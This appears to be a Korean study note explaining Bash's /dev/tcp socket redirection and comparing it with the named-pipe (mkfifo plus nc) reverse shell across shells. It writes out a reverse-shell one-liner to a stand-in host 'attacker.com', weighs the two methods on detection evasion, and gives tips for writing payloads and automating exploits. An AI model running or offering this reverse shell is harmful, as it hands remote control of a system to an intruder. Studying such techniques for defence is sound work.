/dev/tcp/ 리다이렉션의 특성Bash 전용 기능:
/dev/tcp/host/port는 Bash만의 특별한 기능입니다다른 shell에서는 작동하지 않음:
sh (보통 dash, ash 등)zsh fish# Bash에서는 작동
bash -c 'echo "test" > /dev/tcp/google.com/80'
# sh에서는 에러
sh -c 'echo "test" > /dev/tcp/google.com/80'
# 결과: sh: can't create /dev/tcp/google.com/80: nonexistent directory
/bin/sh 차이점:sh → dash (Bash 아님)sh → bash (심볼릭 링크)sh → ash (Bash 아님)그래서 첫 번째 방식(named pipe)이 더 범용적이고 안정적인 거죠. 어떤 셸이든 mkfifo, cat, nc 같은 표준 유닉스 도구들을 사용하니까요.
실제 공격자들도 이런 호환성 문제 때문에 named pipe 방식을 선호하는 경우가 많습니다.
Bash 전용 기능인 /dev/tcp/host/port 리다이렉션은 어떤 원리로 동작하며, 왜 실전에서는 named pipe 방식이 더 선호되는가?
>, <)만으로 TCP/UDP 네트워크 소켓을 직접 열 수 있는 기능을 제공한다.bash -c 'echo "test" > /dev/tcp/google.com/80'
/dev/tcp/host/port 접근이 발생하면:
host:port에 대해 TCP 연결 시도cat < /dev/tcp/host/port # 서버 응답 읽기
echo "GET / HTTP/1.0" > /dev/tcp/host/port # 요청 보내기
Bash 내장: 이 기능은 리눅스 커널이나 파일 시스템이 아닌, Bash 쉘 자체가 제공하는 가상 경로
다른 셸에서는 작동 안 함
sh, dash, ash, zsh, fish 등은 인식 못 함
실행하면 다음과 같은 오류 발생:
sh: can't create /dev/tcp/google.com/80: nonexistent directory
sh 해석 차이| 시스템 | /bin/sh 기본 해석 | /dev/tcp 동작 여부 |
|---|---|---|
| Ubuntu, Debian | dash | ❌ 불가 |
| Alpine Linux | ash | ❌ 불가 |
| CentOS, RHEL | bash (링크) | ✅ 가능 |
→ 리버스 쉘 등 자동화 스크립트 작성 시 셸 해석기 종류에 따라 동작이 달라짐
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | sh -i 2>&1 | nc attacker.com 1234 > /tmp/f
이 방식은:
mkfifo, cat, sh, nc 같은 POSIX 표준 유틸리티만 사용| 항목 | /dev/tcp 방식 | Named Pipe 방식 |
|---|---|---|
| 쉘 호환성 | Bash 전용 (제한적) | 거의 모든 POSIX 쉘에서 동작 |
| 구현 간결성 | 매우 짧고 직관적 | 다소 복잡한 파이프 구성 |
| 탐지 회피 | 상대적으로 은밀 | nc, mkfifo 등 흔적 남음 |
| 디버깅/실패율 | 환경 따라 자주 깨짐 | 상대적으로 안정적 |
| 실전 사용 | 제한적 (Bash 환경 전제) | 매우 일반적, 실제 공격자 선호 |
/dev/tcp/host/port는 Bash만 아는 비밀 통로예요.mkfifo 방식(named pipe)을 더 많이 써요.셸 종류 확인:
ls -l /bin/sh
echo $0
POSIX 호환용 리버스 쉘 페이로드 작성 시에는 /dev/tcp 지양
웹쉘이나 취약점 익스플로잇 자동화 시 /bin/sh가 어떤 해석기를 가리키는지 확인할 것